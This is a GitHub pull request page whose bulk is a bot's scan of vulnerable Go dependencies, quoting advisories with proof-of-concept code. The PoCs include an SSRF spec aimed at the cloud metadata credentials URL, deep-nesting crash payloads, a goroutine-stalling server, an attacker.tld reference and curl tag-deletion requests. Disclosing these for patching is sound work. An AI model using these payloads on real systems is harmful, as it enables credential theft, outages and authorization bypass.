RTECO-1646 - Enhance Maven native mode support by adding server ID fl… - #3637
RTECO-1646 - Enhance Maven native mode support by adding server ID fl…#3637fluxxBot wants to merge 9 commits into
Conversation
0183fbb to
3a4069a
Compare
…ag and updating build-info extraction logic
…0803102926-0e842d9721c5 in go.mod and go.sum
… multi-module build tests
…through Artifactory instance and remove central mirror settings
49e644f to
b9cf4d7
Compare
…ifactory remote repo and clarify comments
…ord for Basic auth instead of access token
…-info-go dependencies with specific commit hashes
… jfrog-cli-artifactory and build-info-go dependencies
📗 Scan Summary
📦 Vulnerable Dependencies
|
📦 Vulnerable Dependencies🔖 Details[ GHSA-gqhc-vf4h-h7hg ] github.com/go-openapi/validate 0.25.3Vulnerability Details
SummaryThe DetailsThe default path loader is set at the package level in schema_loader.go#lines 27–33: var PathLoader = func(pth string) (json.RawMessage, error) {
data, err := loading.LoadFromFileOrHTTP(pth)
// ...
}
There is:
PoC
{
"swagger": "2.0",
"info": { "title": "PoC", "version": "0.1" },
"paths": {},
"definitions": {
"Victim": {
"$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role"
}
}
}
package main
import (
"fmt"
"github.com/go-openapi/spec"
)
func main() {
swagger := &spec.Swagger{}
// load evil.json into swagger (e.g. via json.Unmarshal)
err := spec.ExpandSpec(swagger, nil) // nil = default options = unsafe PathLoader
fmt.Println(err)
}
ImpactThis is a Server-Side Request Forgery (SSRF) vulnerability. Any application that calls the
The impact is highest in cloud-hosted services (where IMDS credential theft leads to full account compromise) and in API gateway / validation services that accept user-supplied OpenAPI specs. [ CVE-2026-56865 ] golang.org/x/mod 0.37.0Vulnerability Details
A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy [ CVE-2026-56864 ] golang.org/x/mod 0.37.0Vulnerability Details
A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy [ GHSA-xh24-9qpg-8w28 ] github.com/go-openapi/swag/jsonutils 0.26.0Vulnerability Details
SummaryBoth the unmarshal and marshal paths of swag's ordered-JSON support ( Notably, swag's ordered-JSON path uses its own lexer instead of DetailsUnmarshal —
Marshal —
Entry points: PoCUnmarshal crash (confirmed on darwin/arm64, Go 1.26): payload := []byte(`{"a":` + strings.Repeat("[", 3000000) + strings.Repeat("]", 3000000) + `}`)
var v jsonutils.JSONMapSlice
_ = jsonutils.ReadJSON(payload, &v)
// fatal error: stack overflow
// runtime: goroutine stack exceeds 1000000000-byte limit~6 MB payload, crashes in well under 1 second, non-zero process exit. Control: the identical payload fed to Marshal crash (independent of the above), built entirely in memory with no recursive var v jsonutils.JSONMapSlice = jsonutils.JSONMapSlice{{Key: "leaf", Value: "x"}}
for i := 0; i < 3000000; i++ {
v = jsonutils.JSONMapSlice{{Key: "n", Value: v}}
}
_, _ = jsonutils.WriteJSON(v)
// fatal error: stack overflow (via Adapter.OrderedMarshal, adapter.go:68)Remote delivery: any service that accepts an OpenAPI/Swagger spec (upload, or ImpactDenial of Service: an unauthenticated remote attacker who can get a JSON document parsed by [ GHSA-pxx3-v77h-v677 ] github.com/go-openapi/spec 0.22.5Vulnerability Details
Summary
DetailsAffected versions: Root cause: for i := range target.AllOf {
t, err := expandSchema(target.AllOf[i], parentRefs, resolver, basePath)
...
}
for i := range target.AnyOf { ... }
for i := range target.OneOf { ... }
...
for k := range target.Properties { ... }When a child carries a parentRefs = append(parentRefs, normalizedRef.String())
transitiveResolver := resolver.transitiveResolver(basePath, target.Ref)
basePath = resolver.updateBasePath(transitiveResolver, normalizedBasePath)
return expandSchema(*t, parentRefs, transitiveResolver, basePath)The only guard is func (r *schemaLoader) isCircular(ref *Ref, basePath string, parentRefs ...string) (foundCycle bool) {
normalizedRef := normalizeURI(ref.String(), basePath)
if _, ok := r.context.circulars[normalizedRef]; ok {
foundCycle = true
return
}
foundCycle = stringutils.ContainsStrings(parentRefs, normalizedRef)
if foundCycle {
r.context.circulars[normalizedRef] = true
}
return
}This correctly detects cycles ( Because all refs are fragment-only ( PoCpackage main
import (
"encoding/json"
"fmt"
"os"
"runtime"
"time"
"github.com/go-openapi/spec"
)
func buildSpec(n int) []byte {
defs := make(map[string]any, n)
for i := 0; i < n; i++ {
var sch any
if i == n-1 {
sch = map[string]any{"type": "string"}
} else {
next := fmt.Sprintf("#/definitions/d%d", i+1)
sch = map[string]any{
"allOf": []any{
map[string]any{"$ref": next},
map[string]any{"$ref": next},
},
}
}
defs[fmt.Sprintf("d%d", i)] = sch
}
doc := map[string]any{
"swagger": "2.0",
"info": map[string]any{"title": "x", "version": "1"},
"paths": map[string]any{},
"definitions": defs,
}
b, _ := json.Marshal(doc)
return b
}
func run(n int, timeout time.Duration) {
raw := buildSpec(n)
fmt.Printf("N=%d input size = %d bytes\n", n, len(raw))
var sw spec.Swagger
if err := json.Unmarshal(raw, &sw); err != nil {
fmt.Println("unmarshal error:", err)
return
}
done := make(chan error, 1)
start := time.Now()
go func() {
// Deny-all PathLoader: proves the attack needs no external I/O.
done <- spec.ExpandSpec(&sw, &spec.ExpandOptions{
PathLoader: func(p string) (json.RawMessage, error) {
return nil, fmt.Errorf("no external loads allowed: %s", p)
},
})
}()
select {
case err := <-done:
var ms runtime.MemStats
runtime.ReadMemStats(&ms)
fmt.Printf(" ExpandSpec returned in %v (err=%v) TotalAlloc=%d MB\n",
time.Since(start), err, ms.TotalAlloc/(1024*1024))
case <-time.After(timeout):
var ms runtime.MemStats
runtime.ReadMemStats(&ms)
fmt.Printf(" TIMEOUT after %v — ExpandSpec still running. TotalAlloc=%d MB (FAIL: exponential blowup)\n",
timeout, ms.TotalAlloc/(1024*1024))
os.Exit(1)
}
}
func main() {
// Each +4 levels ≈ 16x time/memory.
run(12, 30*time.Second)
run(16, 30*time.Second)
// N=20 (~1.5 KB input) exceeds 30 s and allocates >17 GB.
// N=28 (~2.5 KB) would be ~256x worse.
run(20, 30*time.Second)
}Observed output against ImpactAny application that calls An unauthenticated attacker can submit a spec of a few kilobytes and cause the process to consume unbounded CPU time and tens of gigabytes of memory, leading to request-handler starvation, OOM kills, and service unavailability. No external network access, filesystem access, or non-default configuration is required; the attack is effective even when the caller supplies a restrictive Suggested remediation: enforce a configurable upper bound on the total number of [ GHSA-hrxh-6v49-42gf ] google.golang.org/grpc 1.81.1Vulnerability Details
Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
ImpactWhat kind of vulnerability is it? Who is impacted? xDS RBAC Authorization Bypass via
|
| Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |
|---|---|---|---|
| xDS RBAC Authorization Bypass | High | 8.2 |
Unauthorized Access / Fail-Open |
| HTTP/2 Rapid Reset DOS Bypass | High | 7.5 |
High CPU Consumption / Denial of Service |
| xDS RBAC Engine Server Panic | Medium | 5.9 |
Process Crash / Denial of Service |
[ GHSA-frc4-6h9q-39fq ] github.com/pelletier/go-toml/v2 2.3.1
Vulnerability Details
| CVSS V3: | - |
| Dependency Path: | github.com/pelletier/go-toml/v2: 2.3.1 (Direct) |
Summary
toml.Unmarshal and toml.Decoder.Decode in go-toml/v2 contain an unbounded mutual recursion in the TOML parser between parseVal and parseValArray (and parseInlineTable). An attacker who can supply a TOML document with deeply nested arrays or inline tables triggers fatal error: stack overflow — a Go runtime fatal that terminates the entire process and cannot be caught by any recover(). A ~5–6 MB payload suffices under default goroutine stack settings; the same flaw exists in the unmarshaling and duplicate-key tracking layers, but the parser recursion is hit first. The project's OSS-Fuzz harness caps input at 2048 bytes, which is why this has not been caught by continuous fuzzing.
Details
Root cause: unstable.Parser.parseVal (unstable/parser.go:384–461) dispatches '[' to parseValArray (unstable/parser.go:542–636), which loops calling parseVal for each element. There is no depth counter or limit anywhere on this mutual recursion; a grep -rn "depth|maxDepth|recursion|nesting" over unstable/ and the top-level .go files returns zero hits.
Additional recursive layers (also unbounded):
unmarshaler.go:760–916(handleValue→unmarshalArray/unmarshalInlineTable→handleValue)internal/tracker/seen.go:318–359(checkArray/checkInlineTable)
Stack cost and threshold: Measured stack consumption is approximately 416 bytes per nesting level (216 B parseVal + 200 B parseValArray). With Go's default 1 GiB goroutine stack ceiling, approximately 2.4 million levels (~4.8 MB of input) trigger the fatal. The report used a 6 MB payload (3 million levels) as a conservative figure.
Why recover() cannot help: Go stack overflow is raised by runtime.throw, not panic. No defer recover() at any call level — including application-level HTTP middleware — can intercept it. The entire process dies immediately, including all goroutines.
Affected code:
unstable/parser.go:384–461(parseVal)unstable/parser.go:542–636(parseValArray)unstable/parser.go:480–539(parseInlineTable)unmarshaler.go:760–916internal/tracker/seen.go:318–359
Attack input:
a=[[[ ... (N million bracket pairs) ... ]]]
or equivalently:
a={k={k={k= ... }}}
PoC
A representative invocation:
package main
import (
"fmt"
"strings"
toml "github.com/pelletier/go-toml/v2"
)
func main() {
depth := 3000000
payload := "a=" + strings.Repeat("[", depth) + strings.Repeat("]", depth)
fmt.Printf("payload size: %d bytes, nesting depth: %d\n", len(payload), depth)
var v interface{}
err := toml.Unmarshal([]byte(payload), &v)
fmt.Printf("err=%v\n", err) // never reached
}Observed output:
payload size: 6000002 bytes, nesting depth: 3000000
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
goroutine 1 [running]:
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseValArray(...)
.../unstable/parser.go:615
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseVal(...)
.../unstable/parser.go:455
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseValArray(...)
.../unstable/parser.go:615
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseVal(...)
.../unstable/parser.go:455
... (repeats)
The process exits non-cleanly; the line after Unmarshal is never reached. The post-Unmarshal print was confirmed to never execute.
Impact
Any service that calls toml.Unmarshal or toml.Decoder.Decode on attacker-controlled bytes (config-upload endpoints, API payloads, agent ingest, multi-tenant pipelines) is remotely crashable with a single request. The crash terminates the entire process — not just the handling goroutine — bypassing all recover()-based panic handlers and HTTP middleware. The attack is rated HIGH because:
- The crash is unrecoverable and process-wide (not just goroutine-scoped).
- A ~5 MB payload is deliverable over HTTP for any service lacking a body-size cap.
- The OSS-Fuzz harness caps input at 2048 bytes (
ossfuzz/fuzz.go:14), so the vulnerability bypasses continuous fuzzing. - The fix requires no API change (add a depth counter, return
ParserErrorat limit).
The threat model caveat is that TOML is less commonly exposed to untrusted input than JSON or YAML, and a multi-MB body must clear upstream request-size limits; where those conditions hold, this is a trivial unrecoverable process-crash DoS. The fix requires threading a depth counter through parseVal/parseValArray/parseInlineTable and returning a ParserError at a configurable limit (e.g. 1 000 levels, matching encoding/json's behavior).
[ CVE-2026-84304 ] google.golang.org/grpc 1.81.1
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | - |
| Dependency Path: | google.golang.org/grpc: 1.81.1 (Direct) |
Impact
An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.
Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).
Patches
The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.
Workarounds
This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.
This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.
[ CVE-2026-56854 ] golang.org/x/crypto 0.53.0
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | 7.5 |
| Dependency Path: | golang.org/x/crypto: 0.53.0 (Direct) |
The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.
[ CVE-2026-35172 ] github.com/distribution/distribution/v3 3.0.0
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | 7.5 |
| Dependency Path: | github.com/distribution/distribution/v3: 3.0.0 (Transitive) |
summary:
distribution can restore read access in repo a after an explicit delete when storage.cache.blobdescriptor: redis and storage.delete.enabled: true are both enabled. the delete path clears the shared digest descriptor but leaves stale repo-scoped membership behind, so a later Stat or Get from repo b repopulates the shared descriptor and makes the deleted blob readable from repo a again.
Severity
HIGH
justification: this is a repo-local authorization bypass after explicit delete, with concrete confidentiality impact and no requirement for write access after the delete event. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5). CWE-284.
affected version
- repository: https://github.com/distribution/distribution
- commit: ab67ffa0bda3712991194841d0fde727464feeb9
- affected versions: <= 3.0.x, <= 2.8.x when redis blob descriptor cache and delete are both enabled
- affected file:
- related callsites:
- https://github.com/distribution/distribution/blob/ab67ffa0bda3712991194841d0fde727464feeb9/registry/storage/cache/cachedblobdescriptorstore.go#L66-L76
- https://github.com/distribution/distribution/blob/ab67ffa0bda3712991194841d0fde727464feeb9/registry/storage/linkedblobstore.go#L218-L224
- https://github.com/distribution/distribution/blob/ab67ffa0bda3712991194841d0fde727464feeb9/registry/storage/linkedblobstore.go#L396-L403
details
the backend access model is repository-link based: once repo a deletes its blob link, later reads from repo a should continue returning ErrBlobUnknown even if the same digest remains linked in repo b.
the issue is the split invalidation path in the redis cache backend:
linkedBlobStore.DeletecallsblobAccessController.Clearduring repository delete handling.cachedBlobStatter.Clearforwards that invalidation into the cache layer.repositoryScopedRedisBlobDescriptorService.Clearchecks that the digest is a member ofrepo a, but then only callsupstream.Clear.upstream.Cleardeletes the shared digest descriptor and does not remove the digest from the repository membership set forrepo a.- when
repo blater stats or gets the same digest, the shared descriptor is recreated. repositoryScopedRedisBlobDescriptorService.Statforrepo aaccepts the stale membership and now trusts the repopulated shared descriptor, restoring access in the repository that already deleted its link.
this creates a revocation gap at the repository boundary. the blob is briefly inaccessible from repo a right after delete, which confirms the backend link was removed, and then becomes accessible again only because stale redis membership survived while a peer repository repopulated the shared descriptor.
attack scenario
- an operator runs distribution with
storage.cache.blobdescriptor: redisandstorage.delete.enabled: true. - the same digest exists in both
repo aandrepo b. - the operator deletes the blob from
repo aand expects repository-local access to be revoked. repo acorrectly returnsblob unknownimmediately after the delete.- an anonymous or unprivileged user requests the same digest from
repo b, which still legitimately owns it and repopulates the shared descriptor. - a later request for the digest from
repo asucceeds again because stale repo-a membership was never revoked from redis.
PoC
attachment: poc.zip
the attached PoC is a deterministic integration harness using miniredis and the pinned distribution source tree.
steps to reproduce
canonical:
unzip -q -o poc.zip -d poc
cd poc
make canonicalexpected output:
[CALLSITE_HIT]: repositoryScopedRedisBlobDescriptorService.Clear->upstream.Clear->repositoryScopedRedisBlobDescriptorService.Stat
[PROOF_MARKER]: repo_a_access_restored=true repo_a_delete_miss=true repo_b_peer_warm=true
[IMPACT_MARKER]: repo_a_post_delete_read=true confidentiality_boundary_broken=true
control:
unzip -q -o poc.zip -d poc
cd poc
make controlexpected control output:
[CALLSITE_HIT]: repositoryScopedRedisBlobDescriptorService.Clear->repositoryScopedRedisBlobDescriptorService.Stat
[NC_MARKER]: repo_a_access_restored=false repo_b_peer_warm=true
expected vs actual
- expected: after
repo adeletes its blob link, later reads fromrepo ashould keep returningblob unknowneven ifrepo bstill references the same digest and warms cache state. - actual:
repo afirst returnsblob unknown, thenrepo brepopulates the shared descriptor, andrepo aserves the deleted digest again through stale repo-scoped redis membership.
impact
the confirmed impact is repository-local confidentiality failure after explicit delete. an operator can remove sensitive content from repo a, observe revocation working immediately after the delete, and still have the same content become readable from repo a again as soon as repo b refreshes the shared descriptor for that digest.
this is not a claim about global blob deletion. the bounded claim is that repository-local revocation fails, which breaks the expectation that deleting a blob link from one repository prevents further reads from that repository.
remediation
the safest fix is to make redis invalidation revoke repo-scoped state together with the backend link deletion. in practice that means removing the digest from the repository membership set, deleting the repo-scoped descriptor hash, and keeping that cleanup atomic enough that peer-repository warming cannot restore access in the repository that already deleted its link.
[ CVE-2026-33540 ] github.com/distribution/distribution/v3 3.0.0
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | 7.5 |
| Dependency Path: | github.com/distribution/distribution/v3: 3.0.0 (Transitive) |
hi guys,
commit: 40594bd98e6d6ed993b5c6021c93fdf96d2e5851 (as-of 2026-01-31)
contact: GitHub Security Advisory (https://github.com/distribution/distribution/security/advisories/new)
summary
in pull-through cache mode, distribution discovers token auth endpoints by parsing WWW-Authenticate challenges returned by the configured upstream registry. the realm URL from a bearer challenge is used without validating that it matches the upstream registry host. as a result, an attacker-controlled upstream (or an attacker with MitM position to the upstream) can cause distribution to send the configured upstream credentials via basic auth to an attacker-controlled realm URL.
this is the same vulnerability class as CVE-2020-15157 (containerd), but in distribution’s pull-through cache proxy auth flow.
severity
HIGH
note: the baseline impact is credential disclosure of the configured upstream credentials. if a deployment uses broader credentials for upstream auth (for example cloud iam credentials), the downstream impact can be higher; i am not claiming this as default for all deployments.
impact
credential exfiltration of the upstream authentication material configured for the pull-through cache.
attacker starting positions that make this realistic:
- supply chain / configuration: an operator configures a proxy cache to use an upstream that becomes attacker-controlled (compromised registry, stale domain, or a malicious mirror)
- network: MitM on the upstream connection in environments where the upstream is reachable over insecure transport or a compromised network path
affected components
registry/proxy/proxyauth.go:66-81(getAuthURLs): extracts bearerrealmfrom upstreamWWW-Authenticatewithout validating destinationinternal/client/auth/session.go:485-510(fetchToken): uses the realm URL directly for token fetchinternal/client/auth/session.go:429-434(fetchTokenWithBasicAuth): sends credentials via basic auth to the realm URL
reproduction
attachment: poc.zip (local harness) with canonical and control runs.
the harness is local and does not contact a real registry: it uses two local HTTP servers (upstream + attacker token service) to demonstrate whether basic auth is sent to an attacker-chosen realm.
unzip -q -o poc.zip -d poc
cd poc
make canonical
make controlexpected output (excerpt):
[CALLSITE_HIT]: getAuthURLs::configureAuth
[PROOF_MARKER]: basic_auth_sent=true realm_host=127.0.0.1 account_param=user authorization_prefix=Basic
control output (excerpt):
[CALLSITE_HIT]: getAuthURLs::configureAuth
[NC_MARKER]: realm_validation=PASS basic_auth_sent=false
suggested remediation
validate that the token realm destination is within the intended trust boundary before associating credentials with it or sending any authentication to it. one conservative option is strict same-host binding: only accept a realm whose host matches the configured upstream host.
fix accepted when
- distribution does not send configured upstream credentials to an attacker-chosen realm URL
- a regression test covers the canonical and blocked cases
addendum.md
poc.zip
PR_DESCRIPTION.md
RUNNABLE_POC.md
best,
oleh
[ GHSA-hwp8-w8pv-xq8f ] github.com/go-openapi/swag/yamlutils 0.26.0
Vulnerability Details
| CVSS V3: | - |
| Dependency Path: | github.com/go-openapi/swag/yamlutils: 0.26.0 (Transitive) |
Summary
yamlutils.YAMLToJSON resolves YAML anchor/alias references by re-walking and re-expanding
the aliased node tree on every reference (yamlNode, case yaml.AliasNode), rather than
memoizing already-resolved aliases. A YAML document with a short chain of anchors, each
does not benefit from the stdlib decoder's built-in max-nesting-depth guard (in place since
Go 1.15). The same payload that crashes swag is rejected cleanly by encoding/json.Unmarshal.
Impact
Denial of Service: an unauthenticated remote attacker who can get a YAML document parsed by
YAMLToJSON (directly, or via any go-openapi/go-swagger consumer that validates or imports specs) can crash the serving process with a single request. Because the crash is a runtime fatal error`, it is not recoverable within the process and takes down all
in-flight requests being served by that process, not just the attacker's own request.
[ GHSA-c68w-432j-47vw ] github.com/go-openapi/validate 0.25.3
Vulnerability Details
| CVSS V3: | - |
| Dependency Path: | github.com/go-openapi/validate: 0.25.3 (Direct) |
Summary
Ref.IsValidURI() in github.com/go-openapi/spec performs outbound HTTP requests using a bare http.Get() call with no timeout or cancellation mechanism. When invoked on attacker-controlled URLs that intentionally never complete the HTTP response, each call can block indefinitely and retain goroutines and file descriptors, leading to denial of service under concurrent load.
The function also performs requests to arbitrary URLs, including internal addresses, creating SSRF-like behavior.
Details
Affected code in ref.go#L78:
func (r *Ref) IsValidURI(basepaths ...string) bool {
// ...
if r.HasFullURL {
//nolint:noctx,gosec
rr, err := http.Get(v)
if err != nil {
return false
}
defer rr.Body.Close()
return rr.StatusCode/100 == 2
}
// ...
}Problems:
-
No timeout
http.Get()useshttp.DefaultClient, whose timeout is0by default (unbounded). -
No cancellation
The request is not created with a context, and the API does not expose any way for callers to cancel or bound the request duration. -
Attacker-controlled trigger
HasFullURLbecomes true for any URL with a scheme and host:
if refURL.Scheme != "" && refURL.Host != "" {
r.HasFullURL = true
}Any attacker-controlled $ref such as:
http://attacker.tld/schema.json
http://127.0.0.1/internal
reaches the vulnerable branch.
If the remote server accepts the TCP connection but never sends an HTTP response, the goroutine remains blocked waiting on network reads indefinitely.
PoC
Start a TCP listener that accepts connections and never responds:
package main
import "net"
func main() {
ln, _ := net.Listen("tcp", ":8080")
for {
conn, _ := ln.Accept()
go func(c net.Conn) {
defer c.Close()
select {}
}(conn)
}
}Run:
go run hang.goThen execute:
package main
import (
"fmt"
"runtime"
"time"
"github.com/go-openapi/spec"
)
func main() {
fmt.Println("before:", runtime.NumGoroutine())
for i := 0; i < 20; i++ {
go func() {
ref, _ := spec.NewRef("http://127.0.0.1:8080/schema.json")
ref.IsValidURI()
}()
}
time.Sleep(2 * time.Second)
fmt.Println("after:", runtime.NumGoroutine())
time.Sleep(60 * time.Second)
fmt.Println("after 60s:", runtime.NumGoroutine())
}Expected result:
before: 2
after: 22
after 60s: 22
All spawned goroutines remain blocked while the remote peer keeps the connection open.
Impact
This is an uncontrolled resource consumption vulnerability (CWE-400 / CWE-770) leading to denial of service.
Applications are affected if they:
- accept user-controlled OpenAPI specs or
$refvalues, and - call
Ref.IsValidURI()during validation or processing.
An attacker can repeatedly supply references pointing to a server that intentionally stalls responses, causing unbounded accumulation of:
- goroutines,
- file descriptors,
- outbound sockets,
- and associated memory/resources.
Under sufficient concurrency, the process may stop accepting new connections or crash due to resource exhaustion.
The function also performs outbound requests to arbitrary attacker-supplied URLs, including internal addresses, enabling SSRF-like internal network interaction and reachability probing.
[ CVE-2026-84303 ] google.golang.org/grpc 1.81.1
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | - |
| Dependency Path: | google.golang.org/grpc: 1.81.1 (Direct) |
Summary
A vulnerability in the xDS RBAC HTTP filter implementation in grpc-go allows remote attackers to bypass authorization policies (specifically DENY rules) by using mixed-case or canonical-case header matchers (e.g., X-Role instead of x-role). Additionally, the safety guards introduced by gRFC A41 to block grpc- prefixed headers can be evaded via variations in casing (e.g., Grpc-Status).
Impact
When an operator defines an RBAC policy referencing headers containing uppercase letters (e.g. X-Role), grpc-go fails to match incoming metadata keys because they are unconditionally lowercased. Because of this case-sensitivity mismatch, a policy designed to block requests containing specific header values fails open: the rule is evaluated as a non-match, and traffic that should have been rejected is served.
Furthermore, gRFC A41 requires rejecting configuration schemas specifying header matchers starting with grpc-. Because this check is executed case-sensitively in grpc-go, attackers can bypass the validation by specifying titles like Grpc-Status.
Patches
The problem is fixed in master and in the 1.83.1 release.
[ CVE-2026-71557 ] github.com/go-git/go-git/v5 5.19.1
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | 6.3 |
| Dependency Path: | github.com/go-git/go-git/v5: 5.19.1 (Transitive) |
Impact
A path traversal issue in go-git could allow malicious reference names to access files outside the repository's intended reference storage.
Loose references are stored under .git/<reference-name>. The reference name was previously used as a path without verifying that the resolved path remained within the reference storage. A name such as refs/heads/../../config could therefore resolve to unrelated repository metadata such as .git/config or .git/HEAD.
A malicious Git server could advertise such a reference name. The name may also survive refspec mapping; for example, it could be mapped to refs/remotes/origin/../../config during a clone or fetch operation.
This vulnerability affects filesystem-backed repositories using the storage/filesystem package and its dotgit reference storage. Users relying exclusively on the in-memory storage implementation, storage/memory, are not affected, because reference names are not resolved as filesystem paths.
Exploitation requires an application using go-git with filesystem-backed storage to interact with a malicious Git server or otherwise process attacker-controlled reference names.
Patches
The issue has been addressed by validating reference names at the dotgit storage entry points and rejecting names whose resolved paths could escape the reference storage.
Users of filesystem-backed storage should upgrade to a patched version.
Workarounds
Applications that exclusively use storage/memory are not affected and do not require a workaround for this vulnerability.
For applications using filesystem-backed storage, avoid cloning from or fetching from untrusted Git servers until an upgrade is possible.
Applications that directly construct or process reference names may also validate them before passing them to filesystem-backed go-git storage. Application-level validation should only be considered a temporary mitigation and does not replace upgrading to a patched version.
References
- Fixes:
Credits
Thanks to @Saku0512 for reporting this issue and @Sahana2524 for proposing the initial fix. 🙇
[ CVE-2026-61801 ] github.com/moby/sys/user 0.4.0
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | 5.5 |
| Dependency Path: | github.com/moby/sys/user: 0.4.0 (Transitive) |
A denial-of-service (DoS) vulnerability exists in github.com/moby/sys/user before v0.4.1 when parsing specially crafted user or group database files. An attacker able to supply a malicious /etc/passwd or /etc/group-style file may cause excessive memory consumption, potentially resulting in process termination due to Out Of Memory (OOM) conditions.
This issue is related to containerd [CVE-2026-47262] / GHSA-jpcc-p29g-p8mq, which describes one practical exploitation path through processing untrusted container image content. Applications using github.com/moby/sys/user to parse untrusted user or group database files may be similarly affected.
Impact
github.com/moby/sys/user versions before v0.4.1 do not place sufficient limits on entries while parsing user and group database files. A specially crafted file may cause excessive memory consumption, potentially leading to process termination due to Out Of Memory (OOM) conditions.
Applications that use github.com/moby/sys/user to parse user-supplied or otherwise untrusted /etc/passwd or /etc/group files may be affected. The severity depends on whether an attacker can influence the contents of files being parsed.
Patches
This issue is fixed in github.com/moby/sys/user v0.4.1. Users should upgrade to v0.4.1 or later.
Workarounds
Avoid parsing attacker-controlled /etc/passwd or /etc/group-style files with affected versions of github.com/moby/sys/user.
Applications that must process untrusted user or group database files should validate and limit accepted input before parsing. Upgrading to v0.4.1 or later is the recommended remediation.
References
- containerd CVE-2026-47262 / GHSA-jpcc-p29g-p8mq: GHSA-jpcc-p29g-p8mq
- Fix in
github.com/moby/sys/user: https://github.com/moby/sys/user/commit/210d32ba2bcb4544ee968c7f31249fe59796e60b
[ CVE-2026-41888 ] github.com/distribution/distribution/v3 3.0.0
Vulnerability Details
| Contextual Analysis: | Not Covered |
| CVSS V3: | 6.5 |
| Dependency Path: | github.com/distribution/distribution/v3: 3.0.0 (Transitive) |
Summary
Tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.
Details
When storage.delete.enabled is configured to false, digest-based manifest deletion is correctly rejected by the guard in registry/storage/linkedblobstore.go:212-215.
However, tag deletion takes a separate code path that never checks this setting:
In registry/handlers/manifests.go:439-453, DeleteManifest detects a tag reference, calls tagService.Untag(), returns, never consulting registry.deleteEnabled.
In turn, tagStore.Untag() calls the storage driver directly to delete the tag path without checking whether deletes are enabled.
PoC
Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as config.yaml:
version: 0.1
storage:
delete:
enabled: false
filesystem:
rootdirectory: /var/lib/registry
http:
addr: :5000Start a local Distribution, mounting in the above configuration from the current directory:
docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yamlIn a separate terminal session/tab, push alpine:3.23 into the running instance:
docker pull alpine:3.23
docker tag alpine:3.23 localhost:5000/alpine:3.23
docker push localhost:5000/alpine:3.23Confirm that the tag shows up as expected:
curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":["3.23"]}Issue a delete for the 3.23 tag:
curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'Observe that the tag is now gone, despite deletes being disabled:
curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":null}Impact
This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.
[ CVE-2026-71556 ] github.com/go-git/go-git/v5 5.19.1
Vulnerability Details
| Contextual Analysis: | Not Applicable |
| CVSS V3: | 7.1 |
| Dependency Path: | github.com/go-git/go-git/v5: 5.19.1 (Transitive) |
Impact
A symlink traversal issue in go-git could allow worktree operations to modify files outside the intended worktree path.
The worktreeFilesystem wrapper rejected dangerous path strings, including paths containing .git, parent-directory components, or control characters. However, it did not prevent filesystem operations from following symbolic links that were already present in the worktree.
As a result, a path that is safe when evaluated as a string could still resolve into the repository's Git metadata directory. For example, if s is a symbolic link to .git, writing to s/config would modify .git/config.
A symbolic link at the final path component could also be followed. For example, if s points directly to .git/config, opening s for writing with truncation could overwrite the repository configuration.
Exploitation requires an attacker to be able to introduce or control a symbolic link in the worktree and cause the application to perform a write through that path.
